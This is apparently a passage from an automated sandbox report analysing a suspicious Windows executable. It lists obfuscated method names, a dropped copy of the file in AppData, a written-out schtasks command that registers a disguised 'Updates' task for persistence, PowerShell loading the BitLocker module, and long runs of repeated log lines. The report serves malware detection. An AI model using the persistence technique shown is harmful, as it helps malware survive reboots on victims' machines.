Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, uSEF6mPAc9wdH36276.cs	High entropy of concatenated method names: 'BFk8o7eh1k', 'vjg8WmN7Tp', 'c6P8Y9kVMv', 'iKo8tJTluc', 'NwP8NWNrID', 'Af98FjeEJj', 'NWk8SRZXy1', 'rML8p5tw03', 'oym8hAmrY1', 'fEJ8639kWA'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, KJ5FuO6XoQatL5oLIw.cs	High entropy of concatenated method names: 'xTi4NhFv4Z', 'hiZ4SMGQ7r', 'QsGevD00J1', 'nUUe2Ph6TR', 'ojDeOsIMnY', 'gGmefpFBsc', 'XU3e518Mcp', 'LSiewmIYWF', 'OucePwld3h', 'dc5e7fiR7a'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, ihJ4FBKXUtjaE3ggN7.cs	High entropy of concatenated method names: 'B9xR7ZXdOv', 'TtXREu5toR', 'bCNRK2B8hT', 'FXqRVvK8AG', 'Te8R1xAI8V', 'oEyRvnLxJC', 'afWR2uoyXv', 'CZEROdSHhD', 'OkDRfERTHp', 'XpKR5SokOX'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, pAofq3JBjTtJlGsXSM.cs	High entropy of concatenated method names: 'esukDZONPH', 'X77kQcwBHY', 'ToString', 'RHfkrrNPHl', 'Cdak0YfWQR', 'Bx4ke3CBDb', 'dyAk4oUEs8', 'GkgklViage', 'nIVk8JnjiD', 'OYZky5J6oa'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, U1KWHpiL3OAw2XEwe2.cs	High entropy of concatenated method names: 'ToString', 'uyECqB6txv', 'r5nC1AWgZK', 'WteCvY9Opv', 'pg3C2PxUeI', 'IOyCOE20Kr', 'i6MCfnLiVw', 'jjcC5BsRRa', 'cm7Cw83Orp', 'kHaCPbwxPX'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, DO0t4SpngkX2NaXBd4.cs	High entropy of concatenated method names: 'GHJ0KRk8XU', 'rYq0VxYhdQ', 'dWp0ijNjTd', 'a8r0J6iNHT', 'hlO0MfHkiI', 'xFE0UOifdT', 'Yyf0je3bnu', 'cc40BjiMhN', 'CtT0ambyAn', 'mjh0G598i1'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, ALe4H1aZrGP7WZgId3.cs	High entropy of concatenated method names: 'dAac9HFTDg', 'JXrc1MnFFT', 'rkVcvVmXTx', 'GTCc2kF7wW', 'AntcOudjc6', 'JQIcfS3AQw', 'Bgrc5omRXh', 'H1ycwkEMqL', 'qw1cPOR4Gl', 'Mv1c7ix2bh'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, ah53opGUxTfCHXjgD8.cs	High entropy of concatenated method names: 'NuydesgTHH', 'hpOd4BmPXM', 'OP1dleVxfx', 'hK2d86pw9n', 'aqqdcB343u', 'vo2dyDjIWI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, to3XjkU4G0PFJ9T0Kr.cs	High entropy of concatenated method names: 'SMykBk8dth', 'pCqkGByyNm', 'JwAXZcsjRF', 'X7rX3uofVm', 'uMJkqTaRTm', 'ROQkELKVwD', 'HalkxBVOLR', 'lFtkK4BlWd', 'ao4kV5Yo6W', 'q0nkiEfP9q'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, CN5yYHyRFbwxLmQByk.cs	High entropy of concatenated method names: 'eoAgns4WsC', 'oewgrIdyn9', 'FThg0CQurM', 'tt0ge7rQb6', 'Cdxg4A92dg', 'NSngltJugh', 'cqmg8SThhh', 'arDgycGxxP', 'UTggAcMUNr', 'g2jgDcJfwf'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, xQPiMs0Su5EiSHtEVc.cs	High entropy of concatenated method names: 'Dispose', 'CwA3aOX9aO', 'kkWI15meV3', 'OuYWgVV7FW', 'AKm3GFmnwp', 'Vo23z8VPZD', 'ProcessDialogKey', 'NItIZLe4H1', 'arGI3P7WZg', 'cd3IIZh53o'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, FZAVh29FgqEruZXF2d.cs	High entropy of concatenated method names: 'I2llnKLLOD', 'qrcl022U06', 'zFil4GIPKQ', 'rH2l8rtolS', 'TF5lyEyVnp', 'BwF4MgLqgB', 'mmv4UtQav6', 'xTw4jaltOx', 'MeY4BngpOi', 'EZP4aby8S2'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, VZ6G5a33HLJq5VC6DiA.cs	High entropy of concatenated method names: 'ivMdGGxVgR', 'S8pdze52nK', 'tJ2LZhrfkN', 'vGXL36Csca', 'QjALIKsyJs', 'bA0LgWCOIo', 'UPOLTwiidv', 'nYuLnv6Owy', 'hVhLrhtaZ2', 'Kt9L0v7WXW'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, LZKDRPI5m93416evaE.cs	High entropy of concatenated method names: 'T4oYNrwkJ', 'NIZt6Xs1a', 'k1iFGsvfS', 'SgPSGelPd', 'FXIhhdpZ6', 'LQG64GFtU', 'DF7ricaPu4pE9LJJjs', 'g6e4FWCbSEnwyrYgAt', 'i7kXiOGeH', 'JrXdJ6HiN'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, StXgmoxJK0VbLhPolI.cs	High entropy of concatenated method names: 'PjkmpTPNWc', 'WPOmhHfjmC', 'jINm9aaNLV', 'J2fm1Z9dNC', 'G8tm2kx90h', 'JiOmOF4CEp', 'ce1m5WjHvO', 'PplmwrMq3P', 'D9Nm7QvJOp', 'BYsmqZZ9og'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, jReNHLjXOSwAOX9aOt.cs	High entropy of concatenated method names: 'AChcR2nSji', 'xa4ckfAS7Y', 'iGRcc5rewK', 'j3qcLG9HUM', 'EKEcuvN0MS', 'I8qcsnf9LB', 'Dispose', 'N8XXrsbjKp', 'sNYX0vn4Ru', 'Y1AXeA4cPA'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, v28Va1zOGSaDoSRTxf.cs	High entropy of concatenated method names: 'FG9dFa0y9R', 'xGEdpPtRES', 'QiYdhQvcD5', 'Im0d9DeQTX', 'xkTd1hEha5', 'yGRd2NGPaR', 'XHydOdHUjY', 'HrKdsfft78', 'LxKdoOPPib', 'xTgdWybeqc'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, zDbEFX5MNIQlmgofDa.cs	High entropy of concatenated method names: 'VJD8rgLbCE', 'Anr8eocsSE', 'Cc28lx16QL', 'jrblG1urGk', 'LSvlze9XTo', 'ABK8Zi2pFR', 'Qia83BX9EZ', 'a7G8Ikr8Bh', 'xaB8gLBiZG', 'HNT8Tt4vGA'
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, A0hF9CTSjuKdGsFWh7.cs	High entropy of concatenated method names: 'QHp38O0t4S', 'egk3yX2NaX', 'HQL3DCk3tc', 'PVB3QO5J5F', 'LoL3RIw6ZA', 'Sh23CFgqEr', 'tai0JrrS3hy1ypYyiK', 'H8XS5NFrqFUSIG8IyC', 'DLL33MpYNY', 'M9R3geTFe6'

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

File created: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
